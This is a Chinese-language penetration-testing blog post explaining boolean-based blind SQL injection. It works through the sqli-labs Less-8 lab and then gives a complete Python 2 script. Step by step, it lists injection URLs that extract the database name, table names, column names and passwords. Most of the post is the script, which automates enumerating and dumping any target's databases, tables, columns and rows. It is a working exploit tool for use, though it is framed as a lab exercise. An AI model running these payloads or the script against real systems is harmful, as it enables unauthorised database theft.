首页 » Network_security » Penetration » 正文

sql盲注之布尔盲注

0x00 概述

渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第二篇,介绍盲注中的布尔盲注。

 

0x01 布尔盲注原理

关注于sql语句是否执行成功,而页面只返回true或false。

主要函数:
left(x,y): 获取x的前y位。

substr(x,y,z): 获取y的从x开始的z位。

ascii()/ord(): 得字符的ascii值。

length(): 返回字符串长度。

……

 

0x02 测试

Sqli-labs: less-8

1.判断注入

192.168.101.225:8999/sqli-labs/Less-8/?id=1'

返回false,不加’则返回true,由此判断为布尔盲注。

2. 猜解数据库名长度

192.168.101.225:8999/sqli-labs/Less-8/?id=1' and length(database())=8--+

=8返回true则说明数据库长度为8,用二分法逐步缩小猜测范围。

3. 猜解数据库名

192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115--+

=115返回true,说明数据库名第一个字符ascii值115,即s,同理用二分法猜解余下7位字符,把1,1改2,1即可猜第二位字符,结果为security。

4. 猜解security第一个表名

 192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101--+

=101返回true,说明security库第一个表名第一个字符为e,同理猜解出余下字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了)

5. 猜解users表的第一个列名:

192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=105--+

返回true,则说明第一个列名的第一个字符为i,同理猜解余下的所有列名,有id,username,password

6. 猜解数据

192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

=68返回true,说明第一个password数据的第一个字符是D,同理猜解余下的字符,为Dumb。

 

0x03 布尔盲注脚本

#coding:utf-8
#Author:LSA
#Description:blind sqli boolean base script
#Date:20171226



import requests
import re
import binascii
import optparse
import sys

fdata = []

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' 

def judge_vulnable(url):
	normal_rsp_length = requests.get(url).headers['content-length']

	vuln_url = url + "'"
	vuln_rsp_length = requests.get(vuln_url).headers['content-length']
	if normal_rsp_length!=vuln_rsp_length:
		print 'The url is vulnable!'
	else:
		print 'The url seems not vulnable'	


def getDatabasesNum(url):
	for dbsNum in xrange(1,20):
		dbs_num_length_url = url + "' and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>0--+"
		dbs_num_length_url_format = dbs_num_length_url.format(dbsNum)
		dbs_num_rsp_length = requests.get(dbs_num_length_url_format).headers['content-length']
		if dbs_num_rsp_length == '722':
			print '***Databases num is ' + str(dbsNum) + '***'
			return dbsNum

def getDatabases(url):

	databases = []
	databasesNum = getDatabasesNum(url)
	
	for databaseIndex in xrange(0,databasesNum):
		dbName = ''
		for dbNameLength in xrange(0,20):
			#print dbNameLength
			db_name_length_url = url +  "' and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>{1}--+"
			db_name_length_url_format = db_name_length_url.format(databaseIndex,dbNameLength)
			#print db_name_length_url_format
			db_name_length_rsp_length = requests.get(db_name_length_url_format).headers['content-length']
			#print db_name_length_rsp_length
			if db_name_length_rsp_length == '722':
				print '***db ' + str(databaseIndex) + ' name length is ' + str(dbNameLength) + '***'
				break
  
    		#print ("Bruting db name: ")
		
    		for dbNameIndex in xrange(1,dbNameLength+1):
			for char in chars:
				charAscii = ord(char)
        			db_name_url = url + "' and (ascii(substr((select distinct (table_schema) from information_schema.tables limit {0},1),{1},1)))={2}--+"
				db_name_url_format = db_name_url.format(databaseIndex,dbNameIndex,charAscii)
				db_name_rsp_length = requests.get(db_name_url_format).headers['content-length']
        			if db_name_rsp_length != '722':
					dbName = dbName + char
					print 'Bruting db name: ' + dbName
					break

		databases.append(dbName)
        	#print "db name is " + dbName
	print '***Databases:***' 
	for ddd in xrange(0,len(databases)):
		print databases[ddd]
	print '****************'

def getTablesNum(url,db_name):
	for t in xrange(0,100):
		#print t
		tables_num_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)>0--+"
		tables_num_url_format = tables_num_url.format(db_name,t)
		tables_num_rsp_length = requests.get(tables_num_url_format).headers['content-length']
		#print tables_num_rsp_length
		if tables_num_rsp_length == '722':
			print '***Tables num is ' + str(t) + '***'
			return t
			
	

def getTables(url,db_name):
	
	tablesName = []
	tablesNum = getTablesNum(url,db_name)

	for tName in xrange(0,tablesNum):
		tableName = ''
		for tIndex in xrange(1,20):   #brute table length
			#print tIndex
			tables_length_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)>{2}--+"
			tables_length_url_format = tables_length_url.format(db_name,tName,tIndex)
			tables_length_rsp = requests.get(tables_length_url_format).headers['content-length']
			#print tables_length_rsp
			if tables_length_rsp == '722':
				print '***Table ' + str(tName) + ' length is ' + str(tIndex) + '***-->'
				break
		for tNameIndex in xrange(1,tIndex+1):   #brute table name
			for char in chars:
				#print char
				charAscii = ord(char)
				tables_name_url = url + "' and (ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1)))={3}--+"
				tables_name_url_format = tables_name_url.format(db_name,tName,tNameIndex,charAscii)
				tables_name_rsp_length = requests.get(tables_name_url_format).headers['content-length']
				#print tables_name_url_format
				#print tables_name_rsp_length
				if tables_name_rsp_length != '722':
					tableName = tableName + char
					print 'Bruting table name: ' + tableName
					break
		tablesName.append(tableName)
	print '***Database [' + db_name + '] tables:***'
	for tl in xrange(0,len(tablesName)):
		print tablesName[tl]
	print '*****************'



def getColumnsNum(url,db_name,table_name):
	
    	for c in xrange(0,50):

    		dataColumns_num_url = url + "' and (select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1)>0--+"
    		dataColumns_num_url_format = dataColumns_num_url.format(table_name,c)
		dataColumns_rsp_length = requests.get(dataColumns_num_url_format).headers['content-length']
		if dataColumns_rsp_length == '722':
			print '***Columns num is ' + str(c) + '***'
			return c

def getColumns(url,db_name,table_name):
	columnsName = []
	columnsNum = getColumnsNum(url,db_name,table_name)

	for cName in xrange(0,columnsNum):
		columnName = ''
		for cIndex in xrange(1,20):   #brute column length
			#print cIndex
			columns_length_url = url + "' and (select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1)>{2}--+"
			columns_length_url_format = columns_length_url.format(table_name,cName,cIndex)
			columns_length_rsp = requests.get(columns_length_url_format).headers['content-length']
			#print columns_length_rsp
			if columns_length_rsp == '722':
				print '***column ' + str(cName) + ' length is ' + str(cIndex) + '***-->'
				break
		for cNameIndex in xrange(1,cIndex+1):   #brute column name
			for char in chars:
				#print char
				charAscii = ord(char)
				columns_name_url = url + "' and (ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)))={3}--+"
				columns_name_url_format = columns_name_url.format(table_name,cName,cNameIndex,charAscii)
				columns_name_rsp_length = requests.get(columns_name_url_format).headers['content-length']
				#print columns_name_url_format
				#print columns_name_rsp_length
				if columns_name_rsp_length != '722':
					columnName = columnName + char
					print 'Bruting column name: ' + columnName
					break
			#print columnName
		columnsName.append(columnName)

	print '***Database [' + db_name + '] table [' + table_name + '] columns:***'
	for cl in xrange(0,len(columnsName)):
		print columnsName[cl]
	print '**************'




def getDataNum(url,db_name,table_name):
	for dNum in xrange(0,100):
		dataColumns_num_url = url + "' and (select count(*) from {0})>{1}--+"
		dataColumns_num_url_format = dataColumns_num_url.format(table_name,dNum)
		dataColumns_num_rsp_length = requests.get(dataColumns_num_url_format).headers['content-length']
		if dataColumns_num_rsp_length == '722':
			print '***dataColumns num is ' + str(dNum) + '***'
			return dNum


def dumpData(url,db_name,table_name,inputColumns_name):
	inputColumns = inputColumns_name.split(',')
	datasNum = getDataNum(url,db_name,table_name)
	datas = []
	print "***Total datas: " + str(datasNum) + '***'
	print str(inputColumns_name) + ":"
	
    	for inputColumnIndex in xrange(0,len(inputColumns)):
		
		for dataIndex in xrange(0,datasNum):
			dName = ''
			for dIndex in xrange(1,50):   #brute data length
				#print dIndex
				data_length_url = url + "' and (select length({0}) from {1} limit {2},1)>{3}--+"
				data_length_url_format = data_length_url.format(inputColumns[inputColumnIndex],table_name,dataIndex,dIndex)
				data_length_rsp_length = requests.get(data_length_url_format).headers['content-length']
				#print data_length_rsp_length
				if data_length_rsp_length == '722':
					print '***' + inputColumns[inputColumnIndex] + ' column ' + str(dataIndex) + ' length is ' + str(dIndex) + '***-->'
					break

			for d in xrange(1,dIndex+1):
				for char in chars:
					charAscii = ord(char)
            				data_url = url + "' and (ascii(substr((select {0} from {1} limit {2},1),{3},1)))={4}--+"
					data_url_format = data_url.format(inputColumns[inputColumnIndex],table_name,dataIndex,d,charAscii)
					data_rsp_length = requests.get(data_url_format).headers['content-length']	
					if data_rsp_length != '722':
						dName = dName + char
						print 'Bruting data: ' + dName	
						break		

			datas.append(dName)
            		
	for inputc in range(0,len(inputColumns)):
		print str(inputColumns[inputc]) + "\t",
	print ''
	print "****************************"
	
	for t in range(0,datasNum):
		for dd in range(t,len(datas),datasNum):
			print datas[dd] + "\t",
		print ""
	print "****************************"
		
		


		
			


def main():
	
    	parser = optparse.OptionParser('python %prog '+\
      	   '-h <manual>')
    	parser.add_option('-u', dest='tgtUrl', type='string',\
      	   help='input target url')
    	parser.add_option('--dbs', dest='dbs', action='store_true', help='get db name')
	parser.add_option('--tables', dest='tables', action='store_true',\
           help='get tables')
	parser.add_option('--columns', dest='columns', action='store_true',\
           help='get columns')

    	parser.add_option('-D', dest='db', type='string', help='choose a db')
	parser.add_option('-T', dest='table', type='string',\
           help='choose a table')
	parser.add_option('-C', dest='column', type='string',\
           help='choose column(s)')
	parser.add_option('--dump', dest='data', action='store_true',\
           help='get datas')
    
    	(options, args) = parser.parse_args()
	
	url = options.tgtUrl
	dbs = options.dbs
	tables = options.tables
	columns = options.columns
	db = options.db
	table = options.table
	column = options.column
	datas = options.data
	
	
	if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):
		judge_vulnable(url)
	

	if url and dbs:
		getDatabases(url)
	if url and db and tables:
		getTables(url,db)
	if url and db and table and columns:
		getColumns(url,db,table)
	if url and db and table and column and datas:
		dumpData(url,db,table,column)
		
		
	

if __name__ == '__main__':
    main()

 

0x04 结语

跑得好慢,后续要加上多线程才行。

Comment